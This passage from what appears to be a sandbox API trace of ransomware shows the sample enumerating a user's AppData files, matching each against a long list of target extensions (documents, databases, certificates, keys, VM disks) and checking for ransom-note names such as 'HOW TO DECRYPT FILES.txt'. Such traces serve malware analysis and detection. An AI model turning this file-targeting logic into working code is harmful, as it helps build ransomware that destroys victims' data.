HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.fdb") returned 0 [0087.281] lstrlenA (lpString="*.fdb") returned 5 [0087.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.wab") returned 0 [0087.281] lstrlenA (lpString="*.wab") returned 5 [0087.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.dat") returned 0 [0087.281] lstrlenA (lpString="*.dat") returned 5 [0087.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.txt") returned 0 [0087.281] lstrlenA (lpString="*.txt") returned 5 [0087.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.jpeg") returned 0 [0087.281] lstrlenA (lpString="*.jpeg") returned 6 [0087.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.jpg") returned 0 [0087.281] lstrlenA (lpString="*.jpg") returned 5 [0087.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.png") returned 0 [0087.281] lstrlenA (lpString="*.png") returned 5 [0087.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.php") returned 0 [0087.282] lstrlenA (lpString="*.php") returned 5 [0087.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.cs") returned 0 [0087.282] lstrlenA (lpString="*.cs") returned 4 [0087.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.cpp") returned 0 [0087.282] lstrlenA (lpString="*.cpp") returned 5 [0087.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.rar") returned 0 [0087.282] lstrlenA (lpString="*.rar") returned 5 [0087.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.zip") returned 0 [0087.282] lstrlenA (lpString="*.zip") returned 5 [0087.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.html") returned 0 [0087.282] lstrlenA (lpString="*.html") returned 6 [0087.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.htm") returned 0 [0087.282] lstrlenA (lpString="*.htm") returned 5 [0087.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.xlsx") returned 0 [0087.282] lstrlenA (lpString="*.xlsx") returned 6 [0087.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.xls") returned 0 [0087.282] lstrlenA (lpString="*.xls") returned 5 [0087.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.mp4") returned 0 [0087.282] lstrlenA (lpString="*.mp4") returned 5 [0087.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.ppt") returned 0 [0087.283] lstrlenA (lpString="*.ppt") returned 5 [0087.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.pptx") returned 0 [0087.283] lstrlenA (lpString="*.pptx") returned 6 [0087.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.doc") returned 0 [0087.283] lstrlenA (lpString="*.doc") returned 5 [0087.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.dot") returned 0 [0087.283] lstrlenA (lpString="*.dot") returned 5 [0087.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.docx") returned 0 [0087.283] lstrlenA (lpString="*.docx") returned 6 [0087.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.7z") returned 0 [0087.283] lstrlenA (lpString="*.7z") returned 4 [0087.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.tar") returned 0 [0087.283] lstrlenA (lpString="*.tar") returned 5 [0087.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.bz2") returned 0 [0087.283] lstrlenA (lpString="*.bz2") returned 5 [0087.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.gz") returned 0 [0087.283] lstrlenA (lpString="*.gz") returned 4 [0087.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.mkv") returned 0 [0087.283] lstrlenA (lpString="*.mkv") returned 5 [0087.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.eml") returned 0 [0087.283] lstrlenA (lpString="*.eml") returned 5 [0087.283] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.msg") returned 0 [0087.283] lstrlenA (lpString="*.msg") returned 5 [0087.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.edb") returned 0 [0087.284] lstrlenA (lpString="*.edb") returned 5 [0087.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.accdb") returned 0 [0087.284] lstrlenA (lpString="*.accdb") returned 7 [0087.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.odb") returned 0 [0087.284] lstrlenA (lpString="*.odb") returned 5 [0087.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.java") returned 0 [0087.284] lstrlenA (lpString="*.java") returned 6 [0087.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.asm") returned 0 [0087.284] lstrlenA (lpString="*.asm") returned 5 [0087.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.pfx") returned 0 [0087.284] lstrlenA (lpString="*.pfx") returned 5 [0087.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.pem") returned 0 [0087.284] lstrlenA (lpString="*.pem") returned 5 [0087.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.p12") returned 0 [0087.284] lstrlenA (lpString="*.p12") returned 5 [0087.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.gpg") returned 0 [0087.284] lstrlenA (lpString="*.gpg") returned 5 [0087.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.vsd") returned 0 [0087.284] lstrlenA (lpString="*.vsd") returned 5 [0087.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.odg") returned 0 [0087.284] lstrlenA (lpString="*.odg") returned 5 [0087.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.raw") returned 0 [0087.285] lstrlenA (lpString="*.raw") returned 5 [0087.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.nef") returned 0 [0087.285] lstrlenA (lpString="*.nef") returned 5 [0087.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.svg") returned 0 [0087.285] lstrlenA (lpString="*.svg") returned 5 [0087.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.psd") returned 0 [0087.285] lstrlenA (lpString="*.psd") returned 5 [0087.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.vmx") returned 0 [0087.285] lstrlenA (lpString="*.vmx") returned 5 [0087.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.vmdk") returned 0 [0087.285] lstrlenA (lpString="*.vmdk") returned 6 [0087.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.vdi") returned 0 [0087.285] lstrlenA (lpString="*.vdi") returned 5 [0087.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.lay6") returned 0 [0087.285] lstrlenA (lpString="*.lay6") returned 6 [0087.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.mpeg") returned 0 [0087.285] lstrlenA (lpString="*.mpeg") returned 6 [0087.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.djvu") returned 0 [0087.285] lstrlenA (lpString="*.djvu") returned 6 [0087.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.tiff") returned 0 [0087.285] lstrlenA (lpString="*.tiff") returned 6 [0087.285] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.backup") returned 0 [0087.285] lstrlenA (lpString="*.backup") returned 8 [0087.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.pdf") returned 0 [0087.286] lstrlenA (lpString="*.pdf") returned 5 [0087.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.cert") returned 0 [0087.286] lstrlenA (lpString="*.cert") returned 6 [0087.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.docm") returned 0 [0087.286] lstrlenA (lpString="*.docm") returned 6 [0087.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.xlsm") returned 0 [0087.286] lstrlenA (lpString="*.xlsm") returned 6 [0087.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.dwg") returned 0 [0087.286] lstrlenA (lpString="*.dwg") returned 5 [0087.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.nd") returned 0 [0087.286] lstrlenA (lpString="*.nd") returned 4 [0087.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.tlg") returned 0 [0087.286] lstrlenA (lpString="*.tlg") returned 5 [0087.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.lgb") returned 0 [0087.286] lstrlenA (lpString="*.lgb") returned 5 [0087.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.mov") returned 0 [0087.286] lstrlenA (lpString="*.mov") returned 5 [0087.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.xdw") returned 0 [0087.286] lstrlenA (lpString="*.xdw") returned 5 [0087.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.ods") returned 0 [0087.286] lstrlenA (lpString="*.ods") returned 5 [0087.286] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.wav") returned 0 [0087.287] lstrlenA (lpString="*.wav") returned 5 [0087.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.mp3") returned 0 [0087.287] lstrlenA (lpString="*.mp3") returned 5 [0087.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.aiff") returned 0 [0087.287] lstrlenA (lpString="*.aiff") returned 6 [0087.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.flac") returned 0 [0087.287] lstrlenA (lpString="*.flac") returned 6 [0087.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.m4a") returned 0 [0087.287] lstrlenA (lpString="*.m4a") returned 5 [0087.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf", pszSpec="*.csv") returned 0 [0087.287] lstrlenA (lpString="*.csv") returned 5 [0087.287] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef255f20, ftCreationTime.dwHighDateTime=0x1d5dc17, ftLastAccessTime.dwLowDateTime=0xa3443210, ftLastAccessTime.dwHighDateTime=0x1d5df79, ftLastWriteTime.dwLowDateTime=0xa3443210, ftLastWriteTime.dwHighDateTime=0x1d5df79, nFileSizeHigh=0x0, nFileSizeLow=0xdbae, dwReserved0=0x0, dwReserved1=0x0, cFileName="7eXETvI6c3R.m4a", cAlternateFileName="7EXETV~1.M4A")) returned 1 [0087.287] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.287] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7eXETvI6c3R.m4a") returned 1 [0087.287] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7eXETvI6c3R.m4a") returned 1 [0087.287] lstrcmpiA (lpString1="", lpString2="7eXETvI6c3R.m4a") returned -1 [0087.287] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\77Dq4 6krTiGxW.rtf") returned="77Dq4 6krTiGxW.rtf" [0087.287] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.287] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.287] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.287] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.287] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="7eXETvI6c3R.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a" [0087.287] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.ems") returned 0 [0087.288] lstrlenA (lpString="*.ems") returned 5 [0087.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.db") returned 0 [0087.288] lstrlenA (lpString="*.db") returned 4 [0087.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.dbf") returned 0 [0087.288] lstrlenA (lpString="*.dbf") returned 5 [0087.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.myox") returned 0 [0087.288] lstrlenA (lpString="*.myox") returned 6 [0087.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.myo") returned 0 [0087.288] lstrlenA (lpString="*.myo") returned 5 [0087.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.qbw") returned 0 [0087.288] lstrlenA (lpString="*.qbw") returned 5 [0087.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.qbb") returned 0 [0087.288] lstrlenA (lpString="*.qbb") returned 5 [0087.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.qbm") returned 0 [0087.288] lstrlenA (lpString="*.qbm") returned 5 [0087.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.qbo") returned 0 [0087.288] lstrlenA (lpString="*.qbo") returned 5 [0087.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.qbx") returned 0 [0087.288] lstrlenA (lpString="*.qbx") returned 5 [0087.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.qba") returned 0 [0087.288] lstrlenA (lpString="*.qba") returned 5 [0087.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.qby") returned 0 [0087.288] lstrlenA (lpString="*.qby") returned 5 [0087.288] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.qbj") returned 0 [0087.289] lstrlenA (lpString="*.qbj") returned 5 [0087.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.ofx") returned 0 [0087.289] lstrlenA (lpString="*.ofx") returned 5 [0087.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.qif") returned 0 [0087.289] lstrlenA (lpString="*.qif") returned 5 [0087.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.mye") returned 0 [0087.289] lstrlenA (lpString="*.mye") returned 5 [0087.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.mbox") returned 0 [0087.289] lstrlenA (lpString="*.mbox") returned 6 [0087.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.eml") returned 0 [0087.289] lstrlenA (lpString="*.eml") returned 5 [0087.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.pst") returned 0 [0087.289] lstrlenA (lpString="*.pst") returned 5 [0087.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.ost") returned 0 [0087.289] lstrlenA (lpString="*.ost") returned 5 [0087.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.idx") returned 0 [0087.289] lstrlenA (lpString="*.idx") returned 5 [0087.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.dbx") returned 0 [0087.289] lstrlenA (lpString="*.dbx") returned 5 [0087.289] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.sql") returned 0 [0087.289] lstrlenA (lpString="*.sql") returned 5 [0087.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.mdb") returned 0 [0087.290] lstrlenA (lpString="*.mdb") returned 5 [0087.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.fdb") returned 0 [0087.290] lstrlenA (lpString="*.fdb") returned 5 [0087.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.wab") returned 0 [0087.290] lstrlenA (lpString="*.wab") returned 5 [0087.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.dat") returned 0 [0087.290] lstrlenA (lpString="*.dat") returned 5 [0087.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.txt") returned 0 [0087.290] lstrlenA (lpString="*.txt") returned 5 [0087.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.jpeg") returned 0 [0087.290] lstrlenA (lpString="*.jpeg") returned 6 [0087.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.jpg") returned 0 [0087.290] lstrlenA (lpString="*.jpg") returned 5 [0087.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.png") returned 0 [0087.290] lstrlenA (lpString="*.png") returned 5 [0087.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.php") returned 0 [0087.290] lstrlenA (lpString="*.php") returned 5 [0087.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.cs") returned 0 [0087.290] lstrlenA (lpString="*.cs") returned 4 [0087.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.cpp") returned 0 [0087.290] lstrlenA (lpString="*.cpp") returned 5 [0087.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.rar") returned 0 [0087.291] lstrlenA (lpString="*.rar") returned 5 [0087.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.zip") returned 0 [0087.291] lstrlenA (lpString="*.zip") returned 5 [0087.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.html") returned 0 [0087.291] lstrlenA (lpString="*.html") returned 6 [0087.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.htm") returned 0 [0087.291] lstrlenA (lpString="*.htm") returned 5 [0087.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.xlsx") returned 0 [0087.291] lstrlenA (lpString="*.xlsx") returned 6 [0087.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.xls") returned 0 [0087.291] lstrlenA (lpString="*.xls") returned 5 [0087.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.mp4") returned 0 [0087.291] lstrlenA (lpString="*.mp4") returned 5 [0087.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", pszSpec="*.ppt") returned 0 [0087.291] lstrlenA (lpString="*.ppt") returned 5 [0087.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eXETvI6c3R.m4a", 